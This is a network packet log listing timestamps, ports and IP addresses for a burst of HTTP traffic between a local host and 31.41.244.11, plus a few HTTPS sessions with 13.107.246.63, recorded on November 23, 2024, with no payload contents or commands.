Nov 23, 2024 03:21:15.878526926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.878587008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.879549980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.879658937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.879719019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.880687952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.880733967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.880803108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.881026983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.881843090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.881895065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.881953955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.881999016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.882957935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.883003950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.883059978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.883100986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.884113073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.884243011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.884293079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.885231972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.885350943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.885412931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.886380911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.886444092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.886498928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.886547089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.887521029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.887564898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.887622118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.887665987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.888664961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.888762951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.888771057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.888809919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.889807940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.889918089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.889974117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.890943050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.891035080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.891083956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.892060041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.892107010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.892172098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.892275095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.893198967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.893297911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.893312931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.893357038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.894344091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.894455910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.894460917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.894496918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.895490885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.895536900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.895567894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.895633936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.896630049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.896780968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.896837950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.897850990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.897862911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.897916079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.898916006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.899012089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.899033070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.899051905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.900049925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.900144100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.900196075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.901159048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.901253939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.901263952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.901318073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.902318001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.902436018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.902512074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.903453112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.903570890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.903620958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.904593945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.904644012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.904700994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.904742956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.905741930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.905806065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.905836105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.905879974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.906857967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.906908989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.906970978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.907016993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.907999039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.908112049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.908174038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.909152031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.909252882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.909301996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.910278082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.910325050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.910383940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.910424948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.911429882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.911483049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.911547899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.911591053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.912587881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.912705898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.912761927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.913705111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.913811922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.913868904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.914839029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.914943933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.914957047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.914988995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.915991068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.916055918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.916089058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.916131020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.917119026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.917188883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.917218924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.917263985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.918205023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.918622971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.995912075 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:15.996465921 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:15.996496916 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:15.996939898 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:15.996949911 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.041419983 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.041968107 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.041985035 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.042411089 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.042414904 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.059751034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.059814930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.059850931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.059895992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.060338974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.060410023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.060514927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.060606003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.061480999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.061543941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.061584949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.061630964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.062741995 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.062813997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.062865019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.062889099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.062896967 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.062931061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.062966108 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.063160896 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.063160896 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.063194990 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.063218117 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.063740015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.063860893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.063909054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.064898968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.065011978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.065052986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.065860033 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.065903902 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.066035986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.066109896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.066117048 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.066139936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.066219091 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.066226006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.066257000 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.067145109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.067271948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.067327976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.068304062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.068461895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.068511963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.069411993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.069458961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.069528103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.070601940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.070612907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.070646048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.070703983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.070749998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.071719885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.071764946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.071826935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.071870089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.072868109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.072912931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.072948933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.072989941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.073976994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.074022055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.074100018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.074143887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.075126886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.075249910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.075290918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.076366901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.076514006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.076564074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.077569962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.077614069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.077718019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.078612089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.078697920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.078743935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.078816891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.078864098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.079854965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.079905987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.079976082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.080019951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.080982924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.081027985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.081043959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.081089020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.081948996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.081995964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.082079887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.082127094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.083096027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.083143950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.083226919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.083268881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.084253073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.084297895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.084357023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.084403038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.085386992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.085433006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.085504055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.085551023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.086513042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.086560011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.086627007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.086674929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.087655067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.087713003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.087753057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.087796926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.088778019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.088825941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.088891983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.088937998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.089941025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.089987040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.090063095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.090104103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.091077089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.091120005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.091203928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.091248035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.092206001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.092278004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.092295885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.092358112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.093343019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.093447924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.093460083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.093611002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.094481945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.094527960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.094594002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.094638109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.095621109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.095665932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.095724106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.095768929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.096764088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.096808910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.096872091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.096916914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.097898006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.097942114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.097999096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.098043919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.099031925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.099081039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.099144936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.099186897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.100172043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.100218058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.100289106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.100332022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.101329088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.101375103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.101442099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.101485968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.102459908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.102535963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.102564096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.102607012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.103595018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.103637934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.103698969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.103741884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.104743958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.104799032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.104839087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.104882002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.105875015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.105917931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.105943918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.105988026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.107012987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.107058048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.107147932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.107192039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.108149052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.108192921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.108253002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.108297110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.108921051 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.109235048 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.109273911 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.109330893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.109488964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.109532118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.109560013 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.109576941 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.110443115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.110491037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.110553980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.110599995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.111581087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.111629963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.111695051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.111737967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.112699986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.112746000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.112781048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.112824917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.113890886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.113934994 CET	49760	80	192.168.2.4	31.41.244.11
